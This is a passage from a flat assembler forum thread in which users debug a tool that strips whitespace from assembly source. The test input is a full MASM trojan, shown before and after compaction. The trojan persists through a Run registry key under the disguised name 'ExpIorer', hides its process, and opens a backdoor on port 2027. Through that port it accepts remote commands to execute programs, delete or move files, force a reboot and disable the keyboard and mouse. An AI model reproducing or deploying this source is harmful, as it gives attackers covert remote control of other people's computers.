flat assembler
Message board for the users of flat assembler.
![]() Goto page Previous 1, 2, 3 |
Author |
|
revolution 24 May 2014, 12:09
This is a problem:
Code: SIZE=19183 sourcef db "patch.asm",0 targetf db "newf.txt",0 |
|||
![]() |
|
fasmnewbie 24 May 2014, 12:12
Test file (patch.asm, 19183 bytes)
Before: Code: .386 .model flat,stdcall option casemap:none include \masm32\include\winmm.inc include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\wsock32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\advapi32.inc include \masm32\include\shell32.inc includelib \masm32\lib\shell32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\wsock32.lib includelib \masm32\lib\masm32.lib includelib \masm32\lib\advapi32.lib includelib \masm32\lib\winmm.lib WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD SetRegKeysz PROTO :DWORD,:DWORD,:DWORD,:DWORD SetRegKeyDW PROTO :DWORD, :DWORD, :DWORD GetRegKeyDW PROTO :DWORD, :DWORD, :DWORD send_LB_shit_2_client PROTO :DWORD,:DWORD ; -------------------------------------------------------------------------------- ; initialized data ; -------------------------------------------------------------------------------- .DATA IDC_LB equ 3000 WM_SOCKET equ WM_USER + 100 ClassName db "StupidBlowMyDickClass",0 AppName db "ExpIorer",0 IconName db "TDIcon",0 lstBox db "LISTBOX",0 Port dd 2027 succ db "SUCCESSFULL!",0 wsadata WSADATA <> sin sockaddr_in <> StartupInfo STARTUPINFO <> ProcessInfo PROCESS_INFORMATION <> szKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0 szKeyName1 db "Software\TrojanSoftware\",0 szStringValue db "ExpIorer",0 RegistryText db "ExpIorer.exe" ,0 szDWValue db "YUCKFOU",0 DubWord dd 12345678H szBigBuffer db " ",0 dwBBufLength DWORD SIZEOF szBigBuffer + 1 kernel32 db "kernel32.dll", 0 func db "RegisterServiceProcess", 0 cdopen db "set CDAudio door open",0 cdclose db "set CDAudio door closed",0 bkl db "\",0 wcs db "*.*",0 opr db "open",0 crash_str db "rundll32.exe user,disableoemlayer",0 keyoff_str db "rundll32.exe keyboard,disable",0 mouseoff_str db "rundll32.exe mouse,disable",0 ; -------------------------------------------------------------------------------- ; uninitialized data ; -------------------------------------------------------------------------------- .DATA? LBPOINT dd ? Bufcmd dd ? path db 500 dup (?) fname db 256 dup (?) ThisFile db 256 dup (?) SD db 256 dup (?) cmd1 db 300 dup (?) cmd2 db 300 dup (?) cmd db ? c1len db ? c2len db ? hInstance dd ? CommandLine dd ? sock dd ? client dd ? DubWordBack dd ? BIGBUFFER db 10000 dup (?) FILEN db 00256 dup (?) LBCOUNT dd ? LBLEN dd ? ; -------------------------------------------------------------------------------- ; code sction ; -------------------------------------------------------------------------------- .CODE start: invoke FindWindow,0,addr AppName cmp eax,0 jnz quit invoke GetModuleHandle, ADDR kernel32 ;hide process or eax,eax ;thanx to CyborgASM jz continue invoke GetProcAddress, eax, ADDR func or eax, eax jz continue push 1 push 0 call eax continue: invoke GetRegKeyDW, ADDR DubWordBack, ADDR szKeyName1, ADDR szDWValue mov eax,DubWordBack .IF eax != DubWord invoke SetRegKeyDW , ADDR DubWord, ADDR szKeyName1, ADDR szDWValue cmp eax,ERROR_SUCCESS jnz normal invoke SetRegKeysz , ADDR RegistryText, ADDR szKeyName, ADDR szStringValue, SIZEOF szStringValue cmp eax,ERROR_SUCCESS jnz normal invoke GetSystemDirectory,addr SD,sizeof SD invoke lstrcat,addr SD,addr bkl invoke lstrcat,addr SD,addr RegistryText invoke GetModuleFileName,NULL,addr ThisFile,sizeof ThisFile invoke CopyFile,addr ThisFile,addr SD,FALSE .ENDIF normal: invoke GetModuleHandle, NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT quit: invoke ExitProcess,eax ; -------------------------------------------------------------------------------- ; start of the windows procedure ; -------------------------------------------------------------------------------- WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInstance pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW+1 mov wc.lpszMenuName,NULL mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,hInstance,addr IconName mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx, addr wc INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW,0,\ 0,300,300,NULL,NULL,\ hInst,NULL mov hwnd,eax ; invoke ShowWindow, hwnd,SW_SHOWNORMAL ; invoke UpdateWindow, hwnd invoke WSAStartup,101h,addr wsadata invoke socket,AF_INET,SOCK_STREAM,0 mov sock,eax invoke WSAAsyncSelect,sock,hwnd,WM_SOCKET,FD_ACCEPT+FD_READ mov sin.sin_family,AF_INET invoke htons,Port mov sin.sin_port,ax mov sin.sin_addr,INADDR_ANY invoke bind, sock,addr sin,sizeof sin invoke listen,sock,15 .WHILE TRUE invoke GetMessage, ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg .ENDW mov eax,msg.wParam ret WinMain endp ; -------------------------------------------------------------------------------- ; start of the procedure which is getting all the quene messages ; -------------------------------------------------------------------------------- WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM ; -------------------------------------------------------------------------------- ; create a (hidden) listbox for file stuff... ; -------------------------------------------------------------------------------- .IF uMsg == WM_CREATE invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR lstBox,0,WS_VSCROLL or \ WS_VISIBLE or WS_BORDER or WS_CHILD or LBS_HASSTRINGS or LBS_SORT or \ LBS_NOINTEGRALHEIGHT or LBS_DISABLENOSCROLL,20,20,200,200,hWnd, IDC_LB,hInstance,NULL invoke SendDlgItemMessage,hWnd,IDC_LB,LB_DIR,DDL_ARCHIVE+DDL_DIRECTORY+ \ DDL_DRIVES+DDL_HIDDEN+DDL_READONLY+DDL_READWRITE+DDL_SYSTEM,addr wcs ; -------------------------------------------------------------------------------- ; check if the is window closed... ; -------------------------------------------------------------------------------- .ELSEIF uMsg == WM_DESTROY invoke closesocket,sock invoke WSACleanup invoke PostQuitMessage,NULL ; -------------------------------------------------------------------------------- ; did we get some socket messages? ; -------------------------------------------------------------------------------- .ELSEIF uMsg == WM_SOCKET mov eax,lParam ; -------------------------------------------------------------------------------- ; some client tried to connect our server ; -------------------------------------------------------------------------------- .IF ax == FD_ACCEPT shr ax,16 .IF ax == NULL invoke accept,sock,0,0 mov client,eax invoke GetCurrentDirectory,sizeof path,addr path invoke lstrlen,addr path .IF eax != 3 invoke lstrcat,addr path,addr bkl .ENDIF invoke send_LB_shit_2_client,hWnd,client .ENDIF ; -------------------------------------------------------------------------------- ; a client wrote stuff on our socket ; -------------------------------------------------------------------------------- .ELSEIF ax == FD_READ mov ecx,10000 ;clear the Receive-Buffer mov edi,OFFSET BIGBUFFER ;don't know if its right but... lll: mov byte ptr [edi],0 ;better is better! After (newf.txt - 10,806 bytes): Code: .386 .model flat,stdcall option casemap:none include \masm32\include\winmm.inc include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\wsock32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\advapi32.inc include \masm32\include\shell32.inc includelib \masm32\lib\shell32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\wsock32.lib includelib \masm32\lib\masm32.lib includelib \masm32\lib\advapi32.lib includelib \masm32\lib\winmm.lib WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD SetRegKeysz PROTO :DWORD,:DWORD,:DWORD,:DWORD SetRegKeyDW PROTO :DWORD,:DWORD,:DWORD GetRegKeyDW PROTO :DWORD,:DWORD,:DWORD send_LB_shit_2_client PROTO :DWORD,:DWORD .DATA IDC_LB equ 3000 WM_SOCKET equ WM_USER+100 ClassName db "StupidBlowMyDickClass",0 AppName db "ExpIorer",0 IconName db "TDIcon",0 lstBox db "LISTBOX",0 Port dd 2027 succ db "SUCCESSFULL!",0 wsadata WSADATA <> sin sockaddr_in <> StartupInfo STARTUPINFO<> ProcessInfo PROCESS_INFORMATION<> szKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0 szKeyName1 db "Software\TrojanSoftware\",0 szStringValue db "ExpIorer",0 RegistryText db "ExpIorer.exe" ,0 szDWValue db "YUCKFOU",0 DubWord dd 12345678H szBigBuffer db " ",0 dwBBufLength DWORD SIZEOF szBigBuffer+1 kernel32 db "kernel32.dll",0 func db "RegisterServiceProcess",0 cdopen db "set CDAudio door open",0 cdclose db "set CDAudio door closed",0 bkl db "\",0 wcs db "*.*",0 opr db "open",0 crash_strdb "rundll32.exe user,disableoemlayer",0 keyoff_strdb "rundll32.exe keyboard,disable",0 mouseoff_strdb "rundll32.exe mouse,disable",0 .DATA? LBPOINT dd ? Bufcmd dd ? path db 500 dup (?) fname db 256 dup (?) ThisFile db 256 dup (?) SD db 256 dup (?) cmd1 db 300 dup (?) cmd2 db 300 dup (?) cmd db ? c1len db ? c2len db ? hInstance dd ? CommandLine dd ? sock dd ? client dd ? DubWordBack dd ? BIGBUFFER db 10000 dup (?) FILEN db 00256 dup (?) LBCOUNT dd ? LBLEN dd ? .CODE start: invoke FindWindow,0,addr AppName cmp eax,0 jnz quit invoke GetModuleHandle,ADDR kernel32 or eax,eax jz continue invoke GetProcAddress,eax,ADDR func or eax,eax jz continue push 1 push 0 call eax continue: invoke GetRegKeyDW,ADDR DubWordBack,ADDR szKeyName1,ADDR szDWValue mov eax,DubWordBack .IF eax !=DubWord invoke SetRegKeyDW ,ADDR DubWord,ADDR szKeyName1,ADDR szDWValue cmp eax,ERROR_SUCCESS jnz normal invoke SetRegKeysz ,ADDR RegistryText,ADDR szKeyName, ADDR szStringValue,SIZEOF szStringValue cmp eax,ERROR_SUCCESS jnz normal invoke GetSystemDirectory,addr SD,sizeof SD invoke lstrcat,addr SD,addr bkl invoke lstrcat,addr SD,addr RegistryText invoke GetModuleFileName,NULL,addr ThisFile,sizeof ThisFile invoke CopyFile,addr ThisFile,addr SD,FALSE .ENDIF normal: invoke GetModuleHandle,NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT quit: invoke ExitProcess,eax WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style,CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc,OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInstance pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW+1 mov wc.lpszMenuName,NULL mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,hInstance,addr IconName mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx,addr wc INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW,0,\ 0,300,300,NULL,NULL,\ hInst,NULL mov hwnd,eax invoke WSAStartup,101h,addr wsadata invoke socket,AF_INET,SOCK_STREAM,0 mov sock,eax invoke WSAAsyncSelect,sock,hwnd,WM_SOCKET,FD_ACCEPT+FD_READ mov sin.sin_family,AF_INET invoke htons,Port mov sin.sin_port,ax mov sin.sin_addr,INADDR_ANY invoke bind,sock,addr sin,sizeof sin invoke listen,sock,15 .WHILE TRUE invoke GetMessage,ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke TranslateMessage,ADDR msg invoke DispatchMessage,ADDR msg .ENDW mov eax,msg.wParam ret WinMain endp WndProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM .IF uMsg==WM_CREATE invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR lstBox,0,WS_VSCROLL or \ WS_VISIBLE or WS_BORDER or WS_CHILD or LBS_HASSTRINGS or LBS_SORT or \ LBS_NOINTEGRALHEIGHT or LBS_DISABLENOSCROLL,20,20,200,200,hWnd, IDC_LB,hInstance,NULL invoke SendDlgItemMessage,hWnd,IDC_LB,LB_DIR,DDL_ARCHIVE+DDL_DIRECTORY+\ DDL_DRIVES+DDL_HIDDEN+DDL_READONLY+DDL_READWRITE+DDL_SYSTEM,addr wcs .ELSEIF uMsg==WM_DESTROY invoke closesocket,sock invoke WSACleanup invoke PostQuitMessage,NULL .ELSEIF uMsg==WM_SOCKET mov eax,lParam .IF ax==FD_ACCEPT shr ax,16 .IF ax==NULL invoke accept,sock,0,0 mov client,eax invoke GetCurrentDirectory,sizeof path,addr path invoke lstrlen,addr path .IF eax !=3 invoke lstrcat,addr path,addr bkl .ENDIF invoke send_LB_shit_2_client,hWnd,client .ENDIF .ELSEIF ax==FD_READ mov ecx,10000 mov edi,OFFSET BIGBUFFER lll: mov byte ptr [edi],0 inc edi loop lll mov eax,wParam mov client,eax invoke recv,eax,addr BIGBUFFER,600,0 .IF eax==SOCKET_ERROR invoke recv,eax,addr BIGBUFFER,600,0 .ENDIF .IF eax !=SOCKET_ERROR mov edi,OFFSET BIGBUFFER cmp dword ptr [edi],"ELIF" jnz normalcmd add edi,4 invoke lstrcpy,addr path,edi push edi invoke SendDlgItemMessage,hWnd,IDC_LB,LB_RESETCONTENT,0,0 pop edi invoke DlgDirList,hWnd,edi,IDC_LB,NULL,DDL_ARCHIVE+DDL_DIRECTORY+\ DDL_DRIVES+DDL_HIDDEN+DDL_READONLY+DDL_READWRITE+DDL_SYSTEM .IF eax==NULL invoke SendDlgItemMessage,hWnd,IDC_LB,LB_DIR,DDL_ARCHIVE+DDL_DIRECTORY+\ DDL_DRIVES+DDL_HIDDEN+DDL_READONLY+DDL_READWRITE+DDL_SYSTEM,addr wcs invoke GetCurrentDirectory,sizeof path,addr path invoke lstrlen,addr path .IF eax !=3 invoke lstrcat,addr path,addr bkl .ENDIF invoke lstrcat,addr path,addr bkl .ENDIF invoke send_LB_shit_2_client,hWnd,client jmp filetrans normalcmd: invoke send,client,addr succ,sizeof succ,0 mov edi,OFFSET BIGBUFFER mov Bufcmd,edi add Bufcmd,3 mov al,byte ptr [edi] mov cmd,al mov al,byte ptr [edi+1] inc al mov c1len,al mov al,byte ptr [edi+2] inc al mov c2len,al invoke lstrcpyn,addr cmd1,Bufcmd,c1len invoke lstrlen,addr cmd1 add eax,OFFSET cmd1 mov byte ptr [eax],0 xor eax,eax mov al,c1len add Bufcmd,eax dec Bufcmd invoke lstrcpyn,addr cmd2,Bufcmd,c2len invoke lstrlen,addr cmd2 add eax,OFFSET cmd2 mov byte ptr [eax],0 .IF cmd==1 invoke DeleteFile,addr SD invoke SendMessage,hWnd,WM_DESTROY,0,0 .ELSEIF cmd==2 invoke MessageBox,0,addr cmd2,addr cmd1,MB_OK+MB_ICONHAND .ELSEIF cmd==3 invoke ExitWindowsEx,EWX_FORCE,0 .ELSEIF cmd==4 invoke ExitWindowsEx,EWX_REBOOT,0 .ELSEIF cmd==5 invoke GetOpenClipboardWindow invoke OpenClipboard,eax invoke EmptyClipboard invoke CloseClipboard .ELSEIF cmd==6 invoke lstrcpy,addr BIGBUFFER,addr cmd1 invoke lstrlen,addr BIGBUFFER add eax,OFFSET BIGBUFFER mov word ptr [eax],00020h invoke lstrcat,addr BIGBUFFER,addr cmd2 invoke CreateProcess,NULL,addr BIGBUFFER,NULL,NULL, FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL, offset StartupInfo,offset ProcessInfo .ELSEIF cmd==7 invoke DeleteFile,addr cmd1 invoke send_LB_shit_2_client,hWnd,client .ELSEIF cmd==8 invoke CopyFile,addr cmd1,addr cmd2,FALSE invoke send_LB_shit_2_client,hWnd,client .ELSEIF cmd==9 invoke MoveFile,addr cmd1,addr cmd2 invoke send_LB_shit_2_client,hWnd,client .ELSEIF cmd==10 .ELSEIF cmd==11 .ELSEIF cmd==12 invoke atodw,addr cmd1 mov ecx,eax mbloop: push ecx invoke MessageBeep,0FFFFFFFFh pop ecx loop mbloop .ELSEIF cmd==13 invoke GetForegroundWindow invoke SendMessage,eax,WM_CLOSE,0,0 .ELSEIF cmd==14 invoke mciSendString,ADDR cdopen,NULL,0,0 invoke mciSendString,ADDR cdclose,NULL,0,0 .ELSEIF cmd==15 invoke GetForegroundWindow push eax invoke IsIconic,eax cmp eax,0 jnz nope pop eax invoke CloseWindow,eax nope: .ELSEIF cmd==16 invoke ShellExecute,NULL,NULL,addr cmd1,NULL,NULL,SW_SHOWNORMAL .ELSEIF cmd==17 invoke WinExec,addr crash_str,SW_HIDE .ELSEIF cmd==18 invoke WinExec,addr keyoff_str,SW_HIDE .ELSEIF cmd==19 invoke WinExec,addr mouseoff_str,SW_HIDE .ENDIF filetrans: .ENDIF .ENDIF .ELSE invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .ENDIF xor eax,eax ret WndProc endp SetRegKeysz PROC lpszString:DWORD,lpszKeyName:DWORD,lpszValueName:DWORD,dwStringLength LOCAL Disp :DWORD LOCAL pKey :DWORD invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,lpszKeyName,NULL,NULL, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,addr pKey,addr Disp .IF eax==ERROR_SUCCESS invoke RegSetValueEx,pKey,lpszValueName,NULL,REG_SZ, lpszString,dwStringLength invoke RegCloseKey,pKey .ENDIF ret SetRegKeysz ENDP SetRegKeyDW PROC lpdwValue:DWORD,lpszKeyName:DWORD,lpszValueName:DWORD LOCAL Disp :DWORD LOCAL pKey :DWORD DW_SIZE EQU 4 invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,lpszKeyName,NULL,NULL, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,addr pKey,addr Disp .IF eax==ERROR_SUCCESS invoke RegSetValueEx,pKey,lpszValueName,NULL,REG_DWORD_LITTLE_ENDIAN, lpdwValue,DW_SIZE invoke RegCloseKey,pKey .ENDIF ret SetRegKeyDW ENDP GetRegKeyDW PROC lpdwValue:DWORD,lpszKeyName:DWORD,lpszValueName:DWORD LOCAL Temp :DWORD LOCAL pKey :DWORD LOCAL DWordSize:DWORD DW_SIZE EQU 4 mov DWordSize,DW_SIZE invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,lpszKeyName,NULL,NULL, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,addr pKey,addr Temp .IF eax==ERROR_SUCCESS mov eax,REG_DWORD mov Temp,eax invoke RegQueryValueEx,pKey,lpszValueName,NULL,ADDR Temp, lpdwValue,ADDR DWordSize invoke RegCloseKey,pKey .ENDIF ret GetRegKeyDW ENDP send_LB_shit_2_client PROC mhWnd:DWORD,mclient:DWORD invoke SendDlgItemMessage,mhWnd,IDC_LB,LB_GETCOUNT,0,0 dec eax mov LBCOUNT,eax mov edi,OFFSET BIGBUFFER mov dword ptr [edi ],"ELIF" mov eax,LBCOUNT mov dword ptr [edi+5],eax invoke lstrlen,addr path inc eax push eax mov edi,OFFSET BIGBUFFER add edi,9 invoke lstrcpy,edi,addr path pop eax add eax,9 invoke send,mclient,addr BIGBUFFER,eax,0 invoke Sleep,500 push OFFSET BIGBUFFER pop LBPOINT mov LBLEN,0 mov ecx,10000 mov edi,OFFSET BIGBUFFER clearl: mov byte ptr [edi],0 inc edi loop clearl lloop: invoke SendDlgItemMessage,mhWnd,IDC_LB,LB_GETTEXT,LBCOUNT,addr FILEN inc eax push eax add LBLEN,eax cmp LBLEN,10000 jge errorquit invoke lstrcpy,LBPOINT,addr FILEN pop eax add LBPOINT,eax dec LBCOUNT cmp LBCOUNT,-1 jnz lloop errorquit: invoke send,mclient,addr BIGBUFFER,LBLEN,0 ret send_LB_shit_2_client ENDP END start Change it to .asm if you want to compile it. But this one is for MASM. |
|||
![]() |
|
revolution 24 May 2014, 12:15
Code: mov dword ptr [edi ],"ELIF" Code: mov dword ptr[edi],"ELIF" |
|||
![]() |
|
fasmnewbie 24 May 2014, 12:24
revolution wrote: This is a problem: That 'command line arguments' is still a big thing to me. Haven't explored it yet. Know anything about "file pointer" where I can start compacting from any given point of that file? like: Code: stdcall fptr,target,5000,buff ;start from byte 5000th of targetf (say pointer in SI) |
|||
![]() |
|
fasmnewbie 24 May 2014, 12:30
revolution wrote:
I noticed that too. Man, you are quick! Maybe by calling another Code: stdcall del_space_around,']' should solve it. There are certain 'personal' style that it can't compact though. The same goes with '-' symbol. |
|||
![]() |
|
fasmnewbie 24 May 2014, 12:47
DOS386 wrote: > It is simply called "command line program". hehehe DOS386 I looked into parser.inc --> I understood nothing of what King Tomasz wrote in there. May take me years to understand it. hahaha ![]() In regards to ';', I don't think it's that easy. There could be something like Code: mystr db "hola",13,10,"hello 'world'",13,10,'hi',10,13 Thanks for the tips on the file size. I'll check it out. |
|||
![]() |
|
fasmnewbie 24 May 2014, 12:50
need to go. bad connection
|
|||
![]() |
|
Goto page Previous 1, 2, 3 < Last Thread | Next Thread > |
Forum Rules:
|
Copyright © 1999-2025, Tomasz Grysztar. Also on GitHub, YouTube.
Website powered by rwasa.